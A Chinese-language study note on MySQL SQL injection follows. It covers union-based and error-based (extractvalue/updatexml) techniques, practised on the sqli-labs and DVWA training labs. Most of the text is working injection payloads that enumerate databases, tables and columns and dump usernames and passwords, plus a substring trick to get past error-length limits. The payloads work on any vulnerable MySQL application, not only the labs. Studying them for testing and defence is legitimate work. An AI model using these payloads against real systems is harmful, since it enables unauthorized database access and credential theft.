- 复习联合注入
判断字符型/数字型
数字型注入
or 1=1——回复正常,与原始页面无差别
and 1=2——回复正常,与原始页面有差别
字符型注入
and 1=1 --+ 回显正常
and 1=2 --+ 回显异常
判断字段数
Order by
判断显错位
1’ union select 1,2
爆库名:
1' union select 1,database() #
爆表名:
1' union select 1,
group_concat(table_name)
//使用`GROUP_CONCAT(table_name)`将表名连接为一个字符串,并使用逗号作为分隔符。
from information_schema.tables`information_schema`
是MySQL提供的一个系统数据库,其中包含有关数据库和表的元数据信息。
where table_schema=database()#
爆字段名
1' union select 1,group_concat(column_name)
from information_schema.columns
where table_name='users' and table_schema='dvwa'#
1' union select group_concat(user),group_concat(password) from users#
2.什么是报错注入?extractvalue报错注入又是什么?
Less5:?id=1' union select 1,2,databaae() --+
从 mysql5.1.5 开始提供两个 XML 查询和修改的函数,extractvalue 和 updatexml
extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容
updatexml 则负责修改查询到的内容:
3.报错注入会用到什么函数?
updatexml()与extractvalue()
updatexml (A, B, C)
A:String 格式,XML 文档对象的名称
B:XPath_string (Xpath格式的字符串)
C:String 格式,替换查找到的符合条件的数据
extractvalue(A,B)
A:string格式,为xml文档对象的名称
B:Xpath_string是xpath格式的字符串
4.报错注入payload
如上所知extractvalue(A,B)中函数B是要属于xpath格式的字符串,` ~ $ #
利用这点,构造payload
payload:
id=1'and(select extractvalue("anything",concat('~',(select语句))))
5.漏洞利用流程(sqllib靶场Less_5)
拿到注入点:
- 先分析是 字符型/数字型
数字型注入
or 1=1——回复正常,与原始页面无差别
and 1=2——回复正常,与原始页面有差别
字符型注入
and 1=1 --+ 回显正常
and 1=2 --+ 回显异常
- 判断列数
1' order by 1 --+
- 构造payload
?id=1' union select extractvalue (1,concat(0x7e,(SQL语句))) --+
爆库名
?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select database()))) --+
爆表名
?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
爆字段名
?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
查询内容
?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,'-',password) from security.users))) --+
截取内容
?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,'-',password),1,30) from security.users))) --+
因为一次报错的内容限制32个字符,所以我们用substring截取
Substring(A,B,C)函数
A:参数字符串
B:开始截取的位置
C:截取长度
6.知道extractvalue()懂updatexml()
extractvalue(A,B)
A:string格式,为xml文档对象的名称
B:Xpath_string是xpath格式的字符串
updatexml (A, B, C)
A:String 格式,XML 文档对象的名称
B:XPath_string (Xpath格式的字符串)
C:String 格式,替换查找到的符合条件的数据
Payload:updatexml(‘anything’,concat(‘~’,(SQL语句 )),’anything’)
LESS-1
updatexml()
爆库名:
' and(select updatexml(1,concat(0x7e,(select database())),0x7e))--+
如果要等效为联合注入的格式的话,是这样子:1’ union select 1,2,(updatexml(1,concat(0x7e,(select database())),0x7e))--+
爆表名:
' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+
爆列名:
' and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))--+
爆数据:
' and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))--